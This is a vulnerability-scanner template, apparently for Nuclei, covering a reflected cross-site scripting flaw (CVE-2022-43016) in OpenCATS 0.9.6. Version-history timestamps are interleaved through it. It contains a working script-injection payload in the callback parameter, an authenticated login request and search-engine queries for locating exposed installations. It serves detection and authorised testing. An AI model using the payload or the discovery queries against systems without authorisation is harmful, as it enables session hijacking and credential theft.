2022-10-24 12:54:49 +00:00
id : CVE-2022-43016
info :
2022-12-13 20:36:48 +00:00
name : OpenCATS 0.9.6 - Cross-Site Scripting
2022-10-24 12:54:49 +00:00
author : arafatansari
severity : medium
description : |
2022-12-13 20:36:48 +00:00
OpenCATS 0.9.6 contains a cross-site scripting vulnerability via the callback component. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
2023-09-06 11:59:08 +00:00
remediation : |
To mitigate this vulnerability, it is recommended to apply the latest security patches or upgrade to a newer version of OpenCATS that addresses the XSS vulnerability.
2022-10-24 12:54:49 +00:00
reference :
2022-10-24 20:58:18 +00:00
- https://github.com/hansmach1ne/opencats_zero-days/blob/main/XSS_in_callback.md
2022-10-25 09:25:42 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-43016
2024-03-23 09:28:19 +00:00
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Henry4E36/POCS
2022-10-25 09:31:10 +00:00
classification :
2022-10-25 12:56:02 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2022-10-25 09:31:10 +00:00
cve-id : CVE-2022-43016
2022-10-25 12:56:02 +00:00
cwe-id : CWE-79
2023-11-23 06:31:41 +00:00
epss-score : 0.00099
2024-03-23 09:28:19 +00:00
epss-percentile : 0.39871
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:opencats:opencats:0.9.6:*:*:*:*:*:*:*
2022-10-24 20:58:18 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : opencats
product : opencats
2024-06-07 10:04:29 +00:00
shodan-query :
- title:"OpenCATS"
- http.title:"opencats"
2024-05-31 19:23:20 +00:00
fofa-query : title="opencats"
google-query : intitle:"opencats"
2024-01-14 09:21:50 +00:00
tags : cve2022,cve,xss,opencats,authenticated
2022-10-24 12:54:49 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-10-24 12:54:49 +00:00
- raw :
- |
POST /index.php?m=login&a=attemptLogin HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2022-10-25 09:25:42 +00:00
username={{username}}&password={{password}}
2022-10-24 12:54:49 +00:00
- |
2022-10-24 20:58:43 +00:00
GET /index.php?m=toolbar&callback=<script>alert(document.domain)</script>&a=authenticate HTTP/1.1
2022-10-24 12:54:49 +00:00
Host : {{Hostname}}
matchers-condition : and
matchers :
2022-10-24 20:58:18 +00:00
- type : word
part : body
words :
2022-10-25 09:25:42 +00:00
- 'EVAL=<script>alert(document.domain)</script>'
- 'cats_connected'
condition : and
2022-10-24 12:54:49 +00:00
- type : word
2022-10-24 20:58:18 +00:00
part : header
2022-10-24 12:54:49 +00:00
words :
2022-10-24 20:58:18 +00:00
- "text/html"
- type : status
status :
- 200
2024-06-08 16:02:17 +00:00
# digest: 490a0046304402204fa9683d2d8a1eb36d66bd78ba75f5441e1e1f8b1fe73a619ccd0e50cca085ea02202b285d6127970a313f82d190f4905d36805d00dbf491012fd78ebf963863e9f6:922c64590222798bb761d5b6d8e72950